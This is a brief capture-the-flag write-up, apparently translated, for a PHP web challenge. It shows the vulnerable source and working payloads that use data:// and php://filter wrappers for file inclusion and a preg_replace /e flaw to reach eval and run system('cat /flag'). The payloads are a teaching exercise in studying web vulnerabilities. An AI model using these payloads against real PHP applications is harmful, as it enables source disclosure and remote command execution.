Subject to the Source
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
Bypass restrictions first with php: // input or the pseudo-protocol data reading pseudo-protocol I have a dream, then read next.php filter with pseudo-protocol
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
Get next.php source
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
preg_replace presence / e command execution vulnerability looked at this article to explain
Payload structure
?\S*=${getFlag()}&cmd=system('cat /flag');